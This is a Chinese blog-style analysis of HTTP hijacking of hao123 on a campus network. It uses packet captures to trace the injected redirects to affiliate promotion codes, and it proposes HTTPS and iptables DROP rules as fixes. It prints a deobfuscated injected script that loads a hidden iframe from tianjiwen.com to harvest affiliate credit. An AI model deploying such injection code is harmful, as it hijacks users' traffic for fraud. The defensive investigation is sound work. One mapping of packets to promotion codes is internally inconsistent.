研究学校网络 hao123 被挟持的问题

片头

前几个星期,在贴吧看到了有校园网用户反应 hao123 无法打开,目测存在循环重定向的问题:校园网他妈的是被劫持了吗??打开 hao123 无限跳转

在文章最前面,讲一下本文的测试环境:

位置:校园网宿舍(电信出口)

系统:Archlinux

初步测试

经过了本人的测试,挟持问题存在,但循环重定向导致不能打开的问题难以复现。

当用户直接打开 http://www.hao123.com/ 的时候,根据浏览器的不同,正常情况下,普通浏览器来说是会跳转到 https://www.hao123.com/ 的,少数部分浏览器是会直接返回 HTTP/1.1 200 OK 直接返回网页,不过这也是正常的。

经过多次测试,在挟持的情况下,最终用户会被跳转到两个不同的推广地址。经过网上的搜索核实, ?tn=????????_hao_pg 为 hao123 的推广地址,也就是说,你的每一次访问,某些人都会从中获利。

挟持的推广地址如下:

http://www.hao123.com/?tn=90049484_hao_pg
http://www.hao123.com/?tn=99945998_hao_pg

深入研究

burpsuite 暴力测试

通过 burpsuite 连续发 100 个 HTTP 包,我发现挟持是随机的。

有时候连续几个包都是正常包,有时候连续几个包都是挟持包,甚至有时候只有一个正常包,然后上下有 N 个挟持包。(反正我没发现规律

在多次测试之下,我发现在不同的情况下,总共会有三个不同的挟持包。

为了给大家一个直观的感觉,我将这三个挟持包都上传到了我的网站。其中,第二个我访问的地址是 /?tn=0

https://paste.ubuntu.com/p/dBjX9qt24D/
https://paste.ubuntu.com/p/bMCQdtkRfS/
https://paste.ubuntu.com/p/BnXy37J3P8/

三个挟持包,第 1 和第 2 个基本上是相同的,唯一的区别在于第二个还设置了 Cookies 。我姑且将前面两个包归为一类,两种挟持包的制作不一,可以看到应该是出自不同人之手。

前者的代码经过混淆,不过很容易被网上的工具所解密。解密之后的代码如下:

(function(r, o, k, v) {
  r.onerror = function() {
    return !0;
  };
  var i = 0,
    da = o.getElementById("d"),
    db = da.scrollWidth,
    dt = parseInt(db / 200),
    de = function(n) {
      var c = n.charAt(0) * 1;
      if (isNaN(c)) return "";
      c = n.substr(1, c) * 1;
      if (isNaN(c)) return "";
      var l = n.length,
        t = [],
        a,
        f,
        b,
        e = String(c).length + 1,
        m = function(d) {
          return k.indexOf(n.charAt(d));
        },
        i = k.length;
      if (l != e + c) return "";
      while (e < l) {
        a = m(e++);
        if (a < 5) f = a * i + m(e);
        else f = (a - 5) * i * i + m(e) * i + m((e += 1));
        t[t.length] = String.fromCharCode(f);
        e++;
      }
      return t.join("");
    },
    tn = de(v),
    pu = function() {
      if (i <= db) {
        da.innerHTML = "<div id='c' style='width:" + i + "px;'><!----></div>";
        setTimeout(pu, dt);
      } else {
        da.innerHTML = "<div id='c' style='width:100%'><!----></div>";
        ~(function(a) {
          a.style.display = "none";
          a.src = "http://www.tianjiwen.com/hao/?tn=" + tn;
          da.insertBefore(a, null);
        })(o.createElement("iframe"));
      }
      i = i + 10;
    };
  pu();
})(
  self,
  document,
  "ABCDEFGHIJKLMNOPQRSTUVWXYZ",
  "230CFCFCFCACBCFCFCEDREADTEHDREIDZ"
);

唯一有用的东西就是 tianjiwen.com,不过域名似乎是虚假信息注册的。

Registrant Street: china
Registrant City: dexin
Registrant State/Province: zhangye
Registrant Email: xajh8888@gmail.com

再来看另外一个,没有混淆,意图直截了当,就是让你跳转到他的地址上。

因此可以判断,前者挟持包所对应的推广地址是 http://www.hao123.com/?tn=99945998_hao_pg ,后者挟持包对应的推广地址是 http://www.hao123.com/?tn=99945998_hao_pg

神奇的参数

经过测试,当然上面我也有所提及,当 GET 的地址存在一个参数时,经过测试无论是什么参数都好(例:http://www.hao123.com/?ahttp://www.hao123.com/?a=1),只要参数存在,就会返回 hijacking-2.txt 这个挟持包。

这样的话就不难推断出用户反映的循环重定向的问题了。

直接访问 http://www.hao123.com ,被挟持到 http://www.hao123.com/?tn=90049484_hao_pg ,连接存在参数,跳转 http://www.hao123.com/?tn=99945998_hao_pg ,然后出于某种原因,两个推广直接撕逼,然后导致循环重定向,打不开 hao123 的问题。

wireshark 抓包

hijacking-1

这里抓到的包是 hijacking-3.txt 的包,也就是跳转到 90049484 的包。

简单分析一下,52-54 是 TCP 三次握手,握手成功后,55 本地提出了这个请求,然后 56 就收到了回复,不过是挟持包的。另外,58 同样也是挟持包,而真正的包在 63 的位置。

通过看 TTL ,我们也看出了异常。

53 中回复我们 SYN,ACK 的 TTL 是 47 ,这和我们 ping 目标主机得到的结果是一样的,基本断定这个是真实的。然而 55 / 58 中回复我们的 TTL 却是 210 ,这显然不是我们想要的结果。

然后通过 tcp.stream eq 2 过滤显示结果


hijacking-2

这里抓到的包是 hijacking-[1|2].txt 的包,也就是跳转到 99945998 的包。

前面的握手我就不多说了,大体和上面一样,这次和上面不同的是。11 的 tcp-flags 是 FIN,PSH,ACK ,比上面的多了一个 PSH

在网上找到的解释:

Push flag is used to push the data without any intermediate buffering(storing)

摘自:TCP flags: Hackers Playground | Packet Crafter

大概的作用除了标记有数据传输之外,还有一个加速传输的作用,目的应该就是为了让这个挟持包比正确包更快的到达用户电脑。

同样,这次的正常包比挟持包慢了,因此又被落在了后面。

另外值得一提的是,这次的挟持包 TTL 是 57 ,因此我不负责任的判定是有两台不同的设备在搞鬼。

然后通过 tcp.stream eq 1 过滤显示结果

解决方案

使用 HTTPS

https://www.hao123.com/ 设置为主页

逐个分析,逐个击破

我们先对 hijacking-3.txt 进行分析,观察他返回的 HTTP headers 头,有一个很明显的特征,并且经过多日的实验,他都是不变的,那就是他的 Server 名

Server: c7#|<J

线上部署的时候,我想应该没有人会用这个作为自己 web 容器的名字的。

因此,我们可以用这个作为关键词,在 iptables 中进行关键字的 DROP

sudo iptables -A INPUT -p tcp --sport 80 -m string --string "Server: c7#|<J" --algo bm -j DROP

如果是路由器设置的话需要把 INPUT 改成 FORWARD

设置规则后,经过多次测试,后者的挟持已经不会再影响到我们了。

直接访问 http://www.hao123.com/ 已经可以

hijacking-3


接下来到另外一个挟持包,这种的话,特征也是有的,那就是他设置的 qh[360]=1 ,我至今也不知道他设置这个用意何在,是为了嫁祸给数字公司吗?

结合他独特的 PSH 标签,我们可以设置这样的 iptables 规则

sudo iptables -A INPUT -p tcp --sport 80 -m string --string "qh[360]=1" --algo bm --tcp-flags FIN,PSH,ACK FIN,PSH,ACK -j DROP

至此,问题解决!

总结

1、设置 https://www.hao123.com 为首页

2、设置 iptables 规则如下:

sudo iptables -A INPUT -p tcp --sport 80 -m string --string "Server: c7#|<J" --algo bm -j DROP
sudo iptables -A INPUT -p tcp --sport 80 -m string --string "qh[360]=1" --algo bm --tcp-flags FIN,PSH,ACK FIN,PSH,ACK -j DROP

路由器设置的话,将 INPUT 改为 FORWARD

hijacking-4

写在最后

由于本人技术有限,部分地方可能有纰漏,敬请指出!